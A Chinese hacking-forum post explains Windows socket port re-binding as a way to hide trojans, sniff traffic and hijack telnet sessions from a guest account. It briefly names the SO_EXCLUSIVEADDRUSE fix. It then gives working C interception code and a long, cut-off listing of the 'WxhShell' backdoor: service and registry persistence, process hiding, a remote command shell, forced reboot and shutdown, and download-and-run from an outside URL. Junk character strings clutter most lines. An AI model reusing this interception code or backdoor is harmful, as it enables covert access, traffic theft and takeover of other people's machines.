社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12828阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !9<RWNKV)Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g /@yK  
"KI,3g _V  
  saddr.sin_family = AF_INET; 53+rpU_  
d_7Xlp@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gjN!_^ _  
.]ZuG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); acju!,G  
.gkPG'm[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AoOG[to7  
SnF[mN'  
  这意味着什么?意味着可以进行如下的攻击: dV=5_wXZ$  
6r-n6#=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q fH~hg  
0|>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |e[0Qo@  
.fh?=B[o#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ut5!2t$c  
6ewOZ,"j"4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a&c#* 9t{  
[11-`v0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A%w]~ chC9  
}:D~yEP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z a1|fB  
gsR9M%mv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y=qo-v59'  
n]fbV/ x  
  #include ]GR q  
  #include DUliU8B}\  
  #include -r'seb5  
  #include    ~S_IU">E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (*WZsfk>/<  
  int main() WAmoKZw2  
  { R6$F<;nw  
  WORD wVersionRequested; GV@E<dg$R  
  DWORD ret; <^'+ ]?  
  WSADATA wsaData; jhbH6=f4]^  
  BOOL val; {2clOUi  
  SOCKADDR_IN saddr; _,0!ZP-  
  SOCKADDR_IN scaddr; @N_H]6z4  
  int err; od's1'c R  
  SOCKET s; x)wt.T?eL  
  SOCKET sc; ~)8i5p;P/k  
  int caddsize; |Ge/|;.v`  
  HANDLE mt; 3a)Q:#okD  
  DWORD tid;   R}6la.mQ  
  wVersionRequested = MAKEWORD( 2, 2 ); Tocdh.H|  
  err = WSAStartup( wVersionRequested, &wsaData ); "XsY~  
  if ( err != 0 ) { 1@z@  
  printf("error!WSAStartup failed!\n"); ow$l!8  
  return -1; ;AB,:*  
  } O*/-I pM  
  saddr.sin_family = AF_INET; GJt9hDM$0  
   UpseU8Wo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FRQ("6(  
jLS]^|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {ro!OuA  
  saddr.sin_port = htons(23); '*;eFnmvs:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |{IU<o x  
  { u2O^3r G-  
  printf("error!socket failed!\n"); `b`52b\6S  
  return -1; c%/&@vs7  
  } UVmyOC[Y{  
  val = TRUE; d?y\~<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d#:J\2V"R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SWO!E  
  { L=w Fo^N  
  printf("error!setsockopt failed!\n"); G/3lX^Z>  
  return -1; =}GyI_br;8  
  } H1qw1[%0y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I5OH=,y`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &`Z)5Ww  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8PjhvU  
UuC"-$:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2OlC7X{  
  { {!Z_&i5  
  ret=GetLastError(); K}3"KC  
  printf("error!bind failed!\n"); '"\Mjz)/  
  return -1; xWb?i6)z&  
  } s l @6  
  listen(s,2); 5f@YrTO[@  
  while(1) Yn2^nT=8  
  { +Qb/:xQu  
  caddsize = sizeof(scaddr); 'p+QFT>Ca  
  //接受连接请求 ;p!hd }C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :BxYaAVt^  
  if(sc!=INVALID_SOCKET) ZLX`[   
  { Ns8NaD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WzbN=& C]h  
  if(mt==NULL) 5nqdY*  
  { PlRs- %d  
  printf("Thread Creat Failed!\n"); Sz@?%PnU|  
  break; 2#M:J gWV  
  } }gRLW2&mR>  
  } afq +;Sh  
  CloseHandle(mt); n(O p<  
  } )^#Zg8L  
  closesocket(s); {&qsh9ob  
  WSACleanup(); L\CM);y  
  return 0; Ki;5 =)  
  }   <KPx0g?=b  
  DWORD WINAPI ClientThread(LPVOID lpParam) rB|:r\Z(jG  
  { 1V$B^/_  
  SOCKET ss = (SOCKET)lpParam; ibUPd."W  
  SOCKET sc; ]!o,S{a&  
  unsigned char buf[4096]; .T w F] v  
  SOCKADDR_IN saddr; vbh#[,lh  
  long num; TEZqAR]G  
  DWORD val; <[l}^`IC^4  
  DWORD ret; 1Klu]J%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~6i mkv^ F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L>GYj6D9  
  saddr.sin_family = AF_INET; O[B_7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <!XnUCtV  
  saddr.sin_port = htons(23); luog_;{h+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bO3KaOC8N  
  { zb,`K*Z{  
  printf("error!socket failed!\n"); q[A3$y(  
  return -1; Jn&>Z? @  
  } e ;r-}U  
  val = 100; Yx c >+mx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3-%~{(T/  
  { @soW f  
  ret = GetLastError(); 3edK$B51;  
  return -1; Vzm7xl [  
  } ZaindX{.1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G)|HFcE  
  { vGp@YABM  
  ret = GetLastError(); tzJtd  
  return -1; =H?5fT^  
  } oD1=}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~2ei+#d!^  
  { Q[tz)99~  
  printf("error!socket connect failed!\n"); x l=|]8w  
  closesocket(sc); O4mWsr  
  closesocket(ss); S^=/}PT'  
  return -1; 30`H Xv@  
  } n:kxG  
  while(1) ~36XJ  
  { (7!(e  ,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vG:,oB}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v3#47F)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5*Iz3vTq  
  num = recv(ss,buf,4096,0); ?KW?] o  
  if(num>0) IWnW(>V  
  send(sc,buf,num,0); 824%]i3  
  else if(num==0) :$d3a"]  
  break; 1nG"\I5N}  
  num = recv(sc,buf,4096,0); rVmO/Y#Hx$  
  if(num>0) s7LX  
  send(ss,buf,num,0); P ^+>QJ1  
  else if(num==0) dU n#'<g5  
  break; ( h,F{7  
  } @},k\Is  
  closesocket(ss); L6qA=b~iz  
  closesocket(sc); T8 /'`s  
  return 0 ; WG4|Jf Y  
  } &_gmQ;%t:  
l%/,Ef*3  
$"1&!  
========================================================== U?yXTMD  
u{G6xuPWf  
下边附上一个代码,,WXhSHELL ` XY[ HK  
THZ3%o=X  
========================================================== +O6@)?pI  
BtZm_SeA  
#include "stdafx.h" -ZJ:<  
gRSG[GMV  
#include <stdio.h> 4}j}8y2)H  
#include <string.h> 5@5="lNjS  
#include <windows.h> N`fY%"5U>  
#include <winsock2.h> Fd'L:A~  
#include <winsvc.h> X / "H+l  
#include <urlmon.h> W0hLh<Go  
cH ?]uu(  
#pragma comment (lib, "Ws2_32.lib") )~kb 7rfl  
#pragma comment (lib, "urlmon.lib") qIp`'.#m  
EB,>k1IJ  
#define MAX_USER   100 // 最大客户端连接数 !{\c`Z<#  
#define BUF_SOCK   200 // sock buffer [r'M_foga*  
#define KEY_BUFF   255 // 输入 buffer B9\o:eY  
$R4\jIew V  
#define REBOOT     0   // 重启 ,pepr9Yd  
#define SHUTDOWN   1   // 关机 4f5$^uN$qA  
t trp| (  
#define DEF_PORT   5000 // 监听端口 hG)lVo!L4j  
n_hD  
#define REG_LEN     16   // 注册表键长度 @^@-A\7[KO  
#define SVC_LEN     80   // NT服务名长度 p%'((!a2  
#kEdf0  
// 从dll定义API PX'%)5:q;i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #UIg<:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HN%ZN}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k5M(Ve  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "m5ZZG#R`  
v-qS 'N 4  
// wxhshell配置信息 dRmTE  
struct WSCFG { yKJp37R  
  int ws_port;         // 监听端口  _>l,%n  
  char ws_passstr[REG_LEN]; // 口令 A 78{b^0*  
  int ws_autoins;       // 安装标记, 1=yes 0=no C:cu1Y9  
  char ws_regname[REG_LEN]; // 注册表键名 =?hlgQ  
  char ws_svcname[REG_LEN]; // 服务名 #'oKkrl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [g_@<?zg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ] 2'~e,"O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TB\CSXb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .X9^A,9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3ji#"cX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !JA63  
5+J/Qm8{bb  
}; A`Nb"N$H13  
4g9VE;Gd  
// default Wxhshell configuration up?8Pq*  
struct WSCFG wscfg={DEF_PORT, *V}}3Degh  
    "xuhuanlingzhe", 8wd2\J,]  
    1, gS ]'^Sr  
    "Wxhshell", dewu@  
    "Wxhshell",  $?YkgK  
            "WxhShell Service", oR }  
    "Wrsky Windows CmdShell Service", 2}A V_]]  
    "Please Input Your Password: ", XDF" ,N)  
  1, ohl%<FqS  
  "http://www.wrsky.com/wxhshell.exe", @lI/g  
  "Wxhshell.exe" ORTM [cL  
    }; M DpXth7  
"%Ak[04'  
// 消息定义模块 ?{V[bm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |r%P.f:y{X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~ +Y;jA dU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E {MSi"  
char *msg_ws_ext="\n\rExit."; 1/HZY0em  
char *msg_ws_end="\n\rQuit."; vL7}0n>tz  
char *msg_ws_boot="\n\rReboot..."; 5+r#]^eQY-  
char *msg_ws_poff="\n\rShutdown..."; Tq+pFEgQ`@  
char *msg_ws_down="\n\rSave to "; wP i=+  
|(N4x(xl  
char *msg_ws_err="\n\rErr!"; +}n]A^&I\E  
char *msg_ws_ok="\n\rOK!"; i F Ab"VA  
5`J. ic  
char ExeFile[MAX_PATH]; $H}Q"^rs  
int nUser = 0; <tNx*ce5  
HANDLE handles[MAX_USER]; jZGmTtx  
int OsIsNt; 9}-,dgAB  
+qdK]RR}  
SERVICE_STATUS       serviceStatus; j:#[voo7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q0}LfXql8  
nC w1H kW  
// 函数声明 %`~8j H@  
int Install(void); <8Ad\MU  
int Uninstall(void); Nuj%8om6  
int DownloadFile(char *sURL, SOCKET wsh); J_,y?}.e3  
int Boot(int flag); 8K qv)FjB  
void HideProc(void); !O\r[c  
int GetOsVer(void); '*pq@|q;t  
int Wxhshell(SOCKET wsl); {`:!=  
void TalkWithClient(void *cs); R] dB Uu  
int CmdShell(SOCKET sock); I4$a#;  
int StartFromService(void); ,SBL~JJ  
int StartWxhshell(LPSTR lpCmdLine); &lD4-_2J  
4 ClW*l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C1_NGOvT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QwiC2}/  
h OV+}P6  
// 数据结构和表定义 #Jn_"cCRLx  
SERVICE_TABLE_ENTRY DispatchTable[] = ' ySWf,Q^  
{ opBv x>S  
{wscfg.ws_svcname, NTServiceMain}, QeK~A@|F&  
{NULL, NULL} 607#d):Y  
}; hZy"@y3Yq  
l4; LV7Ji  
// 自我安装 %n( s;/_  
int Install(void) jE{z4en  
{ A;kB"Tx  
  char svExeFile[MAX_PATH]; I|:*Dy,~  
  HKEY key; <J- aq;p  
  strcpy(svExeFile,ExeFile); 9QpKB c  
Qt k'^Fc  
// 如果是win9x系统,修改注册表设为自启动 L%"&_v#a^  
if(!OsIsNt) { ?p5Eo{B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2oN lQiE_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yd@9P 2C  
  RegCloseKey(key); nX   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h"[ ][  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >IRo]-,  
  RegCloseKey(key); YpiSH(70`  
  return 0; pDu~84!])  
    } /HLQ  
  } 7|2:;5:U  
} re<"%D  
else { 9Y7 tI3  
-V9Cx_]y  
// 如果是NT以上系统,安装为系统服务 ).-FuL4Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fx*Swv%r  
if (schSCManager!=0) Z*JZ Ubo-Q  
{ C?z C|0  
  SC_HANDLE schService = CreateService (bXCc  
  ( i22R3&C  
  schSCManager, Q (`IiV   
  wscfg.ws_svcname, Na#2sb[)  
  wscfg.ws_svcdisp, HG Pbx$!  
  SERVICE_ALL_ACCESS, f1JvP\I0Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /({5x[  
  SERVICE_AUTO_START, !OiP<8 ,H  
  SERVICE_ERROR_NORMAL, FrB19  
  svExeFile, Rq;R{a  
  NULL,  p.zU9rID  
  NULL, &fW;;>  
  NULL, -QRKDp  
  NULL, &We'omq  
  NULL J?%Z7&/M>  
  ); w=OT^d 9n  
  if (schService!=0) wTOB'  
  { ;]p#PNQ0  
  CloseServiceHandle(schService); 2(UT;PSI  
  CloseServiceHandle(schSCManager); WC`<N4g|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $?0<rvGJ  
  strcat(svExeFile,wscfg.ws_svcname); 1y 6H2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \&SP7~-eq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3B>!9:w~f  
  RegCloseKey(key); 6MZfoR  
  return 0; vq x;FAqZ  
    } iE$0-Qe[3  
  } $)kIYM&  
  CloseServiceHandle(schSCManager); J)*y1   
} nPKf~|\1{  
} bvAO(`  
X\M0Q%8  
return 1; J`\%'pEn  
} F> ..eK  
WWD\EDnS  
// 自我卸载 yfYAA*S!z  
int Uninstall(void) (R.k.,z  
{ sjztT<{Q^-  
  HKEY key; t@b';Cuv  
#*?a"  
if(!OsIsNt) { tk~7>S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZQ@^(64  
  RegDeleteValue(key,wscfg.ws_regname); TMGZHOAt  
  RegCloseKey(key); jo+T!CUM'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T"3WB o  
  RegDeleteValue(key,wscfg.ws_regname); ,VbP$1t  
  RegCloseKey(key); ,~c:P>v=  
  return 0; D_'Zucq  
  } cJL>,Z<|%  
} @aI`ru+a  
} yh} V u  
else { aMT&}3  
[S'ngQ"f`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }&ZO q'B  
if (schSCManager!=0) 0YW<>Y`6  
{ .{~ygHQ`f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C#;}U51:t  
  if (schService!=0)  :;rd!)5  
  { u2o6EU`  
  if(DeleteService(schService)!=0) { <.~j:GbsE  
  CloseServiceHandle(schService); %WdAI,  
  CloseServiceHandle(schSCManager); vfmKYiLp  
  return 0; E+csK*A7  
  } D{\hPv  
  CloseServiceHandle(schService); ASPfzW2  
  } ig3uY#  
  CloseServiceHandle(schSCManager); zPZy#7/A  
} ?2QssfB  
} ^?w6  
F~z4T/TN%G  
return 1; 9^>nZ6  
} .z)&#2E  
'd'*4 )]k  
// 从指定url下载文件 ga0W;Vq&X  
int DownloadFile(char *sURL, SOCKET wsh) XP~4jOL]  
{ s:,BcVLx^  
  HRESULT hr; Y[@$1{YS  
char seps[]= "/"; m8#+w0p)  
char *token; nQb{/ TqC'  
char *file; rC$ckug  
char myURL[MAX_PATH]; `UGHk*DL)  
char myFILE[MAX_PATH];  pb6z)8  
t d-EB&i\  
strcpy(myURL,sURL); N'3Vt8o,  
  token=strtok(myURL,seps); (hs[B4nV  
  while(token!=NULL) V;Te =4  
  {  E*i <P  
    file=token; ^DM^HSm  
  token=strtok(NULL,seps); #|xK> ;  
  } nu|;(ly  
%Gh!h4Pv  
GetCurrentDirectory(MAX_PATH,myFILE); ut fD$8UI  
strcat(myFILE, "\\"); H~Hh $-z  
strcat(myFILE, file); u6$fF=  
  send(wsh,myFILE,strlen(myFILE),0); >@` D@_v  
send(wsh,"...",3,0); _T)dmhG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \k;*Ej~.  
  if(hr==S_OK) rt^<=|Z  
return 0; !ku5P+y$  
else [r<lAS{ .  
return 1; VYMs`d[  
c"H*9u:  
} gfR B  
5$`ihO?  
// 系统电源模块 5W(G~m?jC6  
int Boot(int flag) ok  iI:  
{ {?$-p%CF`8  
  HANDLE hToken; 9YwK1[G6/  
  TOKEN_PRIVILEGES tkp; mtOCk 5E  
;n?H/(6X8>  
  if(OsIsNt) { |Rf4^vN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $&OoxC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ag+$qU  
    tkp.PrivilegeCount = 1; oEGe y8?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gR )xw)!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~kj1L@gy   
if(flag==REBOOT) { i*_T\_=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t n>$5}^;  
  return 0; 4U( W~O  
} UMuRB>ey  
else { 0L9z[2sj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hWP$U  
  return 0; PVC\&YF  
} QI0d:7!W1  
  } "d^hY}Xx  
  else { E %FCOKw_  
if(flag==REBOOT) { 8*k#T\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H<92tP4M  
  return 0; *VmJydd  
} j,?>Q4G  
else { TO ^}z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]k-<[Z;I,  
  return 0; *F42GiBZR  
} URz$hcI8  
} Y &6vTU  
ZaIlo5  
return 1; KP(RK4F  
} c*sK| U7)  
p(g0+.?`~  
// win9x进程隐藏模块 f5.rzrU  
void HideProc(void) 60ccQ7=  
{ #T &z`  
qv>?xKSm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wxYB-Wh<  
  if ( hKernel != NULL ) 5xtIez]x?  
  { Ztu _UlGC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8+5 z-vd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uQIa"u7  
    FreeLibrary(hKernel);  ky0Fm W  
  } J5b>mTvb  
;'CWAJK  
return; Ou/JN+2A  
} //9Ro"  
EdbL AagI6  
// 获取操作系统版本 ;4tmnC>OnA  
int GetOsVer(void) M@ t,P?  
{ > 1 {V  
  OSVERSIONINFO winfo; 8FYcUvxfT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8VxjC1v+  
  GetVersionEx(&winfo); r\-Mj\$-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KjFNb;mM  
  return 1; 2mg4*Ys  
  else U>PF#@ C/  
  return 0;  ;j|T#-.  
} O{:_-eI&d  
O4H %x  
// 客户端句柄模块 k<x  %  
int Wxhshell(SOCKET wsl) fbgq+f`\  
{ c 4xh  
  SOCKET wsh; g b:)t }|  
  struct sockaddr_in client; oNH&VHjU  
  DWORD myID; !#s1'x{o  
iU]py  
  while(nUser<MAX_USER) s wgn( -  
{ G$FNofQx  
  int nSize=sizeof(client); i]oSVXx4WC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QbA+\  
  if(wsh==INVALID_SOCKET) return 1; )xwWig.  
ozv:$>v@"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vF,\{sgW  
if(handles[nUser]==0) B]jN~CO?  
  closesocket(wsh); WB~ ^R<g  
else ,QU2xw D[  
  nUser++; "_dh6naZX  
  } <4V]>[{W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =gL~E9\  
fS2 ^$"B|  
  return 0; H=Sy.  
} :y#KR\T1  
<7Igd6u  
// 关闭 socket agdiJ-lyQ  
void CloseIt(SOCKET wsh) kH$)0nK  
{ ?L.c~w;l  
closesocket(wsh); $42%H#  
nUser--; svki=GD_(.  
ExitThread(0); lB_&Lq 8G  
} Rf7*Ut wVr  
(KQAKEhD!  
// 客户端请求句柄 TXx%\V_6  
void TalkWithClient(void *cs)  O+D"7  
{ 1QkAFSl3  
s+m,ASj  
  SOCKET wsh=(SOCKET)cs; ^3`CP4DT  
  char pwd[SVC_LEN]; m#y?k1GY  
  char cmd[KEY_BUFF]; GR&T Z   
char chr[1]; G+Vlaa/7  
int i,j; 5 \1C@d  
;yh}$)^9  
  while (nUser < MAX_USER) { PP{2{  
~xz3- a/  
if(wscfg.ws_passstr) { O}VI8OB(&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5G-)>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'J*)o<%  
  //ZeroMemory(pwd,KEY_BUFF); QvB]?D#h  
      i=0; tTa" JXG  
  while(i<SVC_LEN) { ,1>ABz  
X[pk9mha  
  // 设置超时 qSj$0Hq5XI  
  fd_set FdRead; p_z_d6?  
  struct timeval TimeOut; ;Kb]v\C:  
  FD_ZERO(&FdRead); l+$ e|F  
  FD_SET(wsh,&FdRead); $'M:H_T  
  TimeOut.tv_sec=8; .^]=h#[e  
  TimeOut.tv_usec=0; >C|/%$kk:f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WHh=ht s\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +;nADl+Q  
n|,kL!++.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cZn B 2T?  
  pwd=chr[0]; =l&A9 >\  
  if(chr[0]==0xd || chr[0]==0xa) { tF> ?]  
  pwd=0; E2f9J{ Ki=  
  break; ?<@yo&)  
  } bY6y)l  
  i++; 5~WMb6/  
    } Q{9#Am^6w  
S].=gR0:  
  // 如果是非法用户,关闭 socket oe1Dm   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O/;$0`~hY  
} !M]_CPh]  
+bnz%/v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h#p1wK;N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NG!~<Kx   
!Pmv  
while(1) { K<`"Sr  
|Tz/9t  
  ZeroMemory(cmd,KEY_BUFF); >icK]W  
G~Oj}rn  
      // 自动支持客户端 telnet标准   v&:R{  
  j=0; ,~@0IKIA Q  
  while(j<KEY_BUFF) { lqC a%V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c" mRMDg%  
  cmd[j]=chr[0]; ^s'ozCk 0  
  if(chr[0]==0xa || chr[0]==0xd) { 0q%=Vs~@g  
  cmd[j]=0; _J}vPm  
  break; ii%n:0+zm  
  } v5i?4?-Z  
  j++; P<iS7Ys+  
    } ^:0NKq\  
x+h7OvW{  
  // 下载文件 8'+XR`g:ax  
  if(strstr(cmd,"http://")) { Y4PU~ l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5S:&^ A<  
  if(DownloadFile(cmd,wsh)) .MO"8}]8Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Bfwb?&  
  else }<Y3 jQnl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AuZ?~I1  
  } n*\AB=|X  
  else { h%kB>E~  
G7lC'~}  
    switch(cmd[0]) { N"~P` H![x  
  7QiJ1P.z  
  // 帮助 % ~%>3  
  case '?': { -CW$p=y}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MI[=,0`D  
    break; %v++AcE  
  } xBGSj[1`i  
  // 安装 eW*nRha  
  case 'i': { >mI-h  
    if(Install()) htg+V-,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cm]D"GFLY  
    else $jb3#Rj4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S\<]|tM:x  
    break; QsYc 9]:  
    } 'Mjbvh4  
  // 卸载 Kb%j;y  
  case 'r': { &o/&T{t}  
    if(Uninstall()) 1 sCF -r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F]Zg9c{#  
    else h+$1+Es  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g5TXs^g  
    break; RB'12^[  
    } 2S^xqvh  
  // 显示 wxhshell 所在路径 fU~>A-P  
  case 'p': { 5v8&C2Jy@  
    char svExeFile[MAX_PATH]; Ch ` Omq  
    strcpy(svExeFile,"\n\r"); (mHFyEG  
      strcat(svExeFile,ExeFile); m,e1:Nk<  
        send(wsh,svExeFile,strlen(svExeFile),0); hIa@JEIt  
    break; ,2?"W8,  
    } DSix(bs9  
  // 重启 7<{Zq8)  
  case 'b': {  6<A\U/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )|/t}|DIx  
    if(Boot(REBOOT)) w&;\}IS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ov%9S/d  
    else { /B!"\0G/,  
